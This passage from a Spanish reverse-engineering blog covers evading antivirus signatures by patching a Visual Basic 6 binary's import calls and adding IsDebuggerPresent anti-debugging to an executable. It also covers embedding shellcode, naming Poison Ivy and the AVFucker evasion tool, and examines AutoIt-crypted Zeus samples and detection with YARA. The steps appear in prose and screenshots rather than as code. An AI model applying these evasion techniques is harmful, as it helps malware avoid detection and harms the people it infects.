<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">El siguiente paso es hacer el desvío adecuado, en la instrucción JMP
donde el registro EAX indicaba la posición a saltar. Ya que <i>DllFunctionCall</i> en este ejecutable no se
va a utilizar en otro momento, podemos <i>hardcodear</i>
la próxima dirección de memoria a saltar. No obstante, esto no se realizaría de
esta manera con un malware complejo, con lo que habría que saltar a otro hueco
he incluir un pequeño algoritmo que mediante CMP o TEST, devolviese 1 o 0 para
definir un salto al nuevo cálculo del registro EAX o a la dirección que
nosotros hemos definido… <i>¡vamos un IF de los
de toda la vida!<o:p></o:p></i></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiq0mRKqQ6VBbhb4O05Q31e2KuNd43B8HvT5xoPVwppUDDsKboa06UvFmfXiqFLVUg6AeFnzFZJ3jx1bIEqs9j4IrhzFUEh5JX_osYcWW08IzZZ62rTxLma20WvZIpoxNPFG71Jn5gtiSS/s1600/ProjectURL-API-OllyDBG-11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiq0mRKqQ6VBbhb4O05Q31e2KuNd43B8HvT5xoPVwppUDDsKboa06UvFmfXiqFLVUg6AeFnzFZJ3jx1bIEqs9j4IrhzFUEh5JX_osYcWW08IzZZ62rTxLma20WvZIpoxNPFG71Jn5gtiSS/s1600/ProjectURL-API-OllyDBG-11.png" height="292" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Tras copiar todas las modificaciones realizadas…<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiexVC_BTURLrR2DA1jET8D6UjHw61HP1n_ITP7JA_sud00VqiMDOXcEn2YNxLKgGPc8Lvzpi7S8mw4ULsU0z3cECJneqOvlw7ESJdDvtFpqFJbBBe6OqwFU-9jr90B3qOBw5S3GGGGv5rN/s1600/ProjectURL-API-OllyDBG-12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiexVC_BTURLrR2DA1jET8D6UjHw61HP1n_ITP7JA_sud00VqiMDOXcEn2YNxLKgGPc8Lvzpi7S8mw4ULsU0z3cECJneqOvlw7ESJdDvtFpqFJbBBe6OqwFU-9jr90B3qOBw5S3GGGGv5rN/s1600/ProjectURL-API-OllyDBG-12.png" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Al enviar ambas muestras a Virustotal, tanto <b>McAfee</b> como <b>CMC</b>
los cuales utilizan firmas heurísticas para esta detección desaparecen,
seguidos de antivirus conocidos como <b>F-Prot</b> y <b>Commtouch</b>, que en
este caso comparten la misma firma.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAtEuDhtuu8s5DHFt6vWfC7nPYg60KSH5a9TE6mfgxCVSSspi05ZLDalAjzcUzamcLZM8896URynp2PlGURGdl2cjYv1PP2P-fBCnuOI9Osoth48Bamb_LOGI7y91n3k25er7KxtiHc75b/s1600/ProjectURL-API-OllyDBG-13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAtEuDhtuu8s5DHFt6vWfC7nPYg60KSH5a9TE6mfgxCVSSspi05ZLDalAjzcUzamcLZM8896URynp2PlGURGdl2cjYv1PP2P-fBCnuOI9Osoth48Bamb_LOGI7y91n3k25er7KxtiHc75b/s1600/ProjectURL-API-OllyDBG-13.png" height="366" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Siendo sinceros, la migración de las rutinas a las que llama la Import
Table puede llegar a ser un “trabajo de chinos”. Es fácil encontrarse con miles
de direcciones. Aplicaciones como la española <b><i>Themida</i></b>, tratan de virtualizar en una especie de <i>SandBox</i> todas estas llamadas externas,
para solventarlas internamente, con lo que es tan utilizado en temas de evasión
antivirus.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">No obstante, también es posible encontrar APIs con funciones pequeñas, si
recuerdan mi anterior entrada, vimos la sencillez de <i>IsDebuggerPresent</i>. Si todos recuerdan la aplicación <i>Topo</i>, la cual nos ayudó en alguna
entrada a buscar huecos en ejecutables o sencillamente a crearlos, esta no
cuenta por defecto con ninguna protección Anti-Debugging, pero gracias a que el
API <i>IsDebuggerPresent </i>es tan pequeña,
podremos agregarla fácilmente redireccionando el <i>Entry Point</i> de la aplicación a una rutina que compruebe la
existencia de un <i>Debugger</i> mediante
este API.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjjdZI9fvZ3nDAeMg9dqZz7x0I4sfOOCghQxgegl85xThBAuZ0exJ1PHfCXlfd20eTLtCHEcxSwn8UdNYE7PxPr8RDtwPyHqF4ImO3anCHnq3GKiAGrQiPlKej-a04lmtSh1xbbXKvLqXr/s1600/Topo_MOD.exe.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjjdZI9fvZ3nDAeMg9dqZz7x0I4sfOOCghQxgegl85xThBAuZ0exJ1PHfCXlfd20eTLtCHEcxSwn8UdNYE7PxPr8RDtwPyHqF4ImO3anCHnq3GKiAGrQiPlKej-a04lmtSh1xbbXKvLqXr/s1600/Topo_MOD.exe.png" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">De tal manera que si ejecutamos Topo desde OllyDbg, terminaremos saltando
a una zona vacía y no podremos seguir debuggeando.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8SK526znmr0dfHW1yyNeDLlv6eaCkqR6sQdj1_S5rwMLF7figHlMYBS3Oasvmn28-fNww95wLDe9GGYx91wugvxI7xI7WNVnqYyMBo1TeTks2B8Ux357X0BbSzBS0LYbmYk5pT1sfrHuE/s1600/Topo_MOD.exe-OLLY.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8SK526znmr0dfHW1yyNeDLlv6eaCkqR6sQdj1_S5rwMLF7figHlMYBS3Oasvmn28-fNww95wLDe9GGYx91wugvxI7xI7WNVnqYyMBo1TeTks2B8Ux357X0BbSzBS0LYbmYk5pT1sfrHuE/s1600/Topo_MOD.exe-OLLY.png" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Sin embargo, tras hacer doble click sobre el binario, este se ejecutará
sin ningún problema.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWLM5_rCnNZpVkawvt6Q00dACXfGdGFXZ5k4wLXdiuAycXN9MtXrpt-BxAFnXEDyjWbBzBCl93CXW_inpb1nlHVTICvCKCbBF67cG-bAS8g9OTt8ykcW1Qjm7i-byUJB9cY843R-2ZxbuZ/s1600/Topo_MOD.exe-TOPO.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWLM5_rCnNZpVkawvt6Q00dACXfGdGFXZ5k4wLXdiuAycXN9MtXrpt-BxAFnXEDyjWbBzBCl93CXW_inpb1nlHVTICvCKCbBF67cG-bAS8g9OTt8ykcW1Qjm7i-byUJB9cY843R-2ZxbuZ/s1600/Topo_MOD.exe-TOPO.png" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Por último, podemos cerrar las bocas de aquellos que dicen que Visual
Basic 6 tiene un potencial limitado, aunque todos sabemos que las limitaciones
nos las ponemos nosotros mismos… o nuestra falta de imaginación. Debido a que
es posible ejecutar ristras de <i>opcodes</i>
desde este lenguaje sin ningún problema, tal y como muestra la siguiente
imagen, un código creado por <i>KarCrack</i>
embebiendo la rutina de <i>IsDebuggerPresent.</i><o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxAZh6bFifdeDfGkySui7J5ON9telfG1l8JNrvHyfvMYkWenGlSZnnRs3vy-jvsLbGW8-C_suNhAsz_YMsMK0_NtPKuzYUaq_GqOKKeEFKIp7LoEAEOuGH4ziI9bE0moorsw15_ewBz3-V/s1600/embeber_shellcode.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxAZh6bFifdeDfGkySui7J5ON9telfG1l8JNrvHyfvMYkWenGlSZnnRs3vy-jvsLbGW8-C_suNhAsz_YMsMK0_NtPKuzYUaq_GqOKKeEFKIp7LoEAEOuGH4ziI9bE0moorsw15_ewBz3-V/s1600/embeber_shellcode.png" height="494" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Se me ocurren ideas, y casualmente no son buenas… como incluir la
shellcode de <i>Poison Ivy</i> o la de mi
anterior entrada <a href="http://www.enelpc.com/2014/04/injerto-de-una-shellcode-en-el-stub-de.html">inyectando
una Shell en el stub de un Crypter</a>.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE-HXDXlLPIQaMqLMKZc-35kscWEP03_iomrIDYiVeOiDKHN6bJrAfEXSO161mokMbRGpIKQBzKQU5lFOVeGssL3WeRXgLlv41mdUcaZtuRNSRADCQ13-JDHZrrzt5ilDJC36_7GQs4fj6/s1600/Luke+Filewalker.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE-HXDXlLPIQaMqLMKZc-35kscWEP03_iomrIDYiVeOiDKHN6bJrAfEXSO161mokMbRGpIKQBzKQU5lFOVeGssL3WeRXgLlv41mdUcaZtuRNSRADCQ13-JDHZrrzt5ilDJC36_7GQs4fj6/s1600/Luke+Filewalker.png" /></a></span></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Como es lógico, <i>Avira Antivir</i>
detecta el compilado como <i>Dropper</i>,
por contener un posible malware… aunque tan solo transportemos a un pijo con un
polo de <i>Lacoste</i> en <i>opcodes</i>, el
antivirus sospechará, y con razón.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">No obstante, la evasión antivirus una vez más, es tan sencilla como la
utilización de un <b>AVFucker</b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhsPsCqOpHJTEKfUCumrY7iT6oKgty0vNKP4frWao6Xs_IjGgO1JLHvp57nkmujYYncGLBWwl3qWrZGc-VbEvNJEQYxSNA9IuWhsA1IEr0dPQVjvgavy_DrwtHhh1jvXPXdEibWw6jV5K1/s1600/embeber_shellcode_evasion.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhsPsCqOpHJTEKfUCumrY7iT6oKgty0vNKP4frWao6Xs_IjGgO1JLHvp57nkmujYYncGLBWwl3qWrZGc-VbEvNJEQYxSNA9IuWhsA1IEr0dPQVjvgavy_DrwtHhh1jvXPXdEibWw6jV5K1/s1600/embeber_shellcode_evasion.png" height="412" width="640" /></a></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><i>¡Espero que les gustase la entrada tanto como a mi prepararla, me voy a tomar unas buenas cervezas belgas a vuestra salud! :)</i></span></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<br /></div>
<div class="MsoNormal" style="background: white; margin-bottom: 0.0001pt; text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Saludo 4n4les! 8==D</span><o:p></o:p></div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com2tag:blogger.com,1999:blog-2707641124274171597.post-5421766173821756242014-05-08T20:27:00.001+02:002023-01-26T02:41:21.773+01:00Un poco de malware y los binarios de Autoit<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Hace un par de días pasaron por mis manos unos servidores
frescos de la botnet Zeus, estos venían cifrados por Crypters. La utilización
de Crypters es una práctica muy común para evitar las detecciones antivirus,
pero que no solo dificultan este trabajo, sino también el de los <i>reversers</i> que tratan de identificar el
tipo de malware que se encuentra detrás del ejecutable cifrado. Servicios como <b>Intelligence</b> de <b>Virustotal</b> ponen a nuestro alcance todo el poder de los patrones <b>YARA</b>, los cuales se forman con cadenas <i>Ascii</i> o ristras de <i>opcodes</i> en hexadecimal pertenecientes a segmentos del malware, permitiendo
identificarles mediante unas sencillas reglas.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">El caso es… <i>¿Cómo
detectamos automáticamente un malware en particular cuando este se encuentra cifrado
por un Crypter?</i><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-family: Courier New, Courier, monospace;"><br /></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Sencillamente hay que ejecutar la muestra en una SandBox,
para determinar mediante su comportamiento la posible identificación del mismo,
siempre y cuando este contenga unos patrones comunes respecto al resto.
Francamente no hay que ser muy inteligente para comprarse un <i>Crypter priv8</i>, ya os lo digo yo que un
amigo mío me lo ha contado… y llevar una configuración del servidor de la <i>botnet</i> diferente a la que viene por
defecto.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-family: Courier New, Courier, monospace;">¿Qué podemos utilizar
como patrón de comportamiento?</span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-family: Courier New, Courier, monospace;"><br /></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">En especial esas configuraciones por
defecto, que los delincuentes utilizan sin llevar a cabo ni un ápice de
modificación, posiblemente debido sus dotes en esto de la seguridad informática…
sino que le pregunten a <b>Kristina Svechinskaya</b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Volviendo a las muestras de Zeus, decidí echarle el vistazo
a una de ellas, la cual llamó especialmente mi atención, ya que esta poseía un
peso bastante superior a lo normal. Las muestras de Zeus dependiendo de su
versión, rondan los 80-140 KB esta sin embargo ocupaba 980 KB. Podría tratarse
del tamaño del icono o de cualquier otro de sus recursos, pero no era nada de
eso, sino que se trataba de un ejecutable cifrado con un Crypter desarrollado
con <i>Autoit</i>. Este lenguaje me parece
muy interesante, ya que es gratuito y salvo que las <i>GUI</i> que permiten crear sus interfaces suelen ser bastante tediosas,
el resto de peculiaridades a nivel de desarrollo ponen un gran número de opciones
a nuestro alcance. El lenguaje es en esencia un <i>BASIC</i>, inclusive en <b>Wikipedia</b>
lo describen como un “Visual Basic Killer” pues bien no solo es un <i>Killer</i> en este aspecto, sino que los
desarrolladores de malware están empezando cada vez más a utilizarlo y a
aprovecharse de todas sus funcionalidades… aunque no creo que destronen a mi
querido Visual Basic 6, <i>¡Resistencia!
Jajaja<o:p></o:p></i></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><i><br /></i></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Supongo que sé lo que estáis pensando… <i>¿Pero qué cojones nos estás contado?<o:p></o:p></i></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><i><br /></i></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Realmente las cosas que me han empujado a realizar esta
entrada son los binarios generados con este lenguaje de desarrollo tan peculiar,
y es que por defecto no utiliza APIs externas, ya que este las porta todas
junto a sus librerías. Mirando la “Import Table” con Lordpe nos encontramos con
el siguiente panorama.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhznHe4s_ZaHJQtu89fdtEzyRrupwxlXAipTldCrO1_K123ZNANaEW8KQGdf0k19z9zkHgv3GA6zTHO_NdUDI9K067hKhuenTfc3R6OxJITmhU_0HvJD9jsYGcWY8ulk83SCjOcXV-FP8D/s1600/1%252BImportTable.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhznHe4s_ZaHJQtu89fdtEzyRrupwxlXAipTldCrO1_K123ZNANaEW8KQGdf0k19z9zkHgv3GA6zTHO_NdUDI9K067hKhuenTfc3R6OxJITmhU_0HvJD9jsYGcWY8ulk83SCjOcXV-FP8D/s1600/1%252BImportTable.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">He querido marcar el </span><i style="font-family: "Courier New", Courier, monospace;">API</i><span style="font-family: 'Courier New', Courier, monospace;">
de </span><i style="font-family: "Courier New", Courier, monospace;">IsDebuggerPresent,</i><span style="font-family: 'Courier New', Courier, monospace;"> ya que esta
aparte de estar presente por defecto, también es utilizada en todas las compilaciones,
con lo que cualquier aplicación sea malware o no, tendrá un plus de seguridad
extra contra la presencia de </span><i style="font-family: "Courier New", Courier, monospace;">debuggers</i><span style="font-family: 'Courier New', Courier, monospace;">.
Este hecho me hace recordar a las declaraciones de </span><a href="http://online.wsj.com/news/article_email/SB10001424052702303417104579542140235850578-lMyQjAxMTA0MDAwNTEwNDUyWj" style="font-family: "Courier New", Courier, monospace;">Brian
Dye CEO de Symantec</a><span style="font-family: 'Courier New', Courier, monospace;">, hablando sobre los antivirus y la manera en la que están
cambiando su estrategia para evitar que los delincuentes, tengan acceso a
nuestra información. De la misma manera que hace </span><b style="font-family: "Courier New", Courier, monospace;">Juniper Networks</b><span style="font-family: 'Courier New', Courier, monospace;"> para engañar a los atacantes incluyendo
información falsa asumiendo que los </span><i style="font-family: "Courier New", Courier, monospace;">crackers
</i><span style="font-family: 'Courier New', Courier, monospace;">entrarán en sus sistemas.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-family: Courier New, Courier, monospace;"><br /></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-family: Courier New, Courier, monospace;">¿Qué pasará
con Autoit si un solo binario contiene todas las librerías y todas sus APIs? ¿Qué
pasará si contiene métodos Anti-Debugging por defecto?<o:p></o:p></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-family: Courier New, Courier, monospace;"><br /></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Sencillamente la estructura de todos los binarios es tan
similar, que tendrán que dejarse llevar en cierta medida por auténticas
Heurísticas sobre la ejecución de la aplicación en el sistema, no como las que se
encuentra en más de un antivirus, las cuales se rigen tan solo por la
utilización de ciertas <i>APIs</i> y de
forma complementaria basadas en firmas para no incrementar drásticamente el
número de falsos positivos, como publiqué <a href="http://www.enelpc.com/2013/02/evasion-de-firmas-antivirus.html">en esta entrada con las firmas condicionales.</a><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Como bien me ha comentado mí compañero Dani Kachakil, en un
reto se encontró con un binario en Autoit el cual era posible de <i>decompilar</i> con gran facilidad, con lo
que se puede optar por realizar la búsqueda de firmas sobre <i>shellcodes</i> que se encuentren en el
contenido de la propia decompilación de estos binarios, que puede ser una buena
idea siempre y cuando sus strings no se encuentren ofuscadas.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja3uqDxv1y5l3tpdpVrDU29oVtqW3HjjmYgp9Hy8Ym9JKoa8X0z5ikChMhxEFQBnnqvmaxWMNuqo6GD7gmJjBzjG7gG195WDx2Z7Vtg_Gtvp1x-mYjR3b7YEjjP6CybGTq2TyKgk8fUcYR/s1600/2%252BShellcodes.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="256" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja3uqDxv1y5l3tpdpVrDU29oVtqW3HjjmYgp9Hy8Ym9JKoa8X0z5ikChMhxEFQBnnqvmaxWMNuqo6GD7gmJjBzjG7gG195WDx2Z7Vtg_Gtvp1x-mYjR3b7YEjjP6CybGTq2TyKgk8fUcYR/s1600/2%252BShellcodes.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">He encontrado publicaciones de gente que destaca con este
lenguaje en foros como en </span><a href="http://indetectables.net/" style="font-family: "Courier New", Courier, monospace;">indetectables.net</a><span style="font-family: 'Courier New', Courier, monospace;">,
es el caso del desarrollador </span><b style="font-family: "Courier New", Courier, monospace;">M3</b><span style="font-family: 'Courier New', Courier, monospace;"> </span><a href="http://www.indetectables.net/viewtopic.php?f=100&t=43175" style="font-family: "Courier New", Courier, monospace;">con post
como el siguiente</a><span style="font-family: 'Courier New', Courier, monospace;">... la verdad es que no me gusta cuando sube gente a dar
charlas de seguridad nombrando negativamente el nivel de estos foros, seguro
que ninguno de ellos intentó demostrar su nivel para alcanzar una zona privada
y ver el material del cual se dispone. La diferencia entre estos foros y los </span><b style="font-family: "Courier New", Courier, monospace;">Underground</b><span style="font-family: 'Courier New', Courier, monospace;">, sencillamente es que en la
mayoría de los casos, en este último se encuentran cinco delincuentes y lo
tienen cerrado al público, hablo porque lo conozco.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">La evasión a <i>IsDebuggerPresent</i>
no deja de ser bastante sencilla, la siguiente imagen muestra detrás del <i>CALL</i> en la dirección <i>40D5B6,</i> la función que utiliza para
mover los resultados al registro <i>EAX. </i>En
la dirección <i>40D5BC </i>se realiza la
comparación con <i>TEST</i> y finalmente un
salto <i>JNZ</i> en la siguiente dirección <i>40D5BE </i>decide con el valor contenido en <i>EAX,</i> saltar dependiendo de si no es
igual o si no es cero. Llegando en último lugar a la alerta generada con un <i>MenssageBox</i> que avisa de la detección de
un <i>debugger</i> para finalizar la
ejecución.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
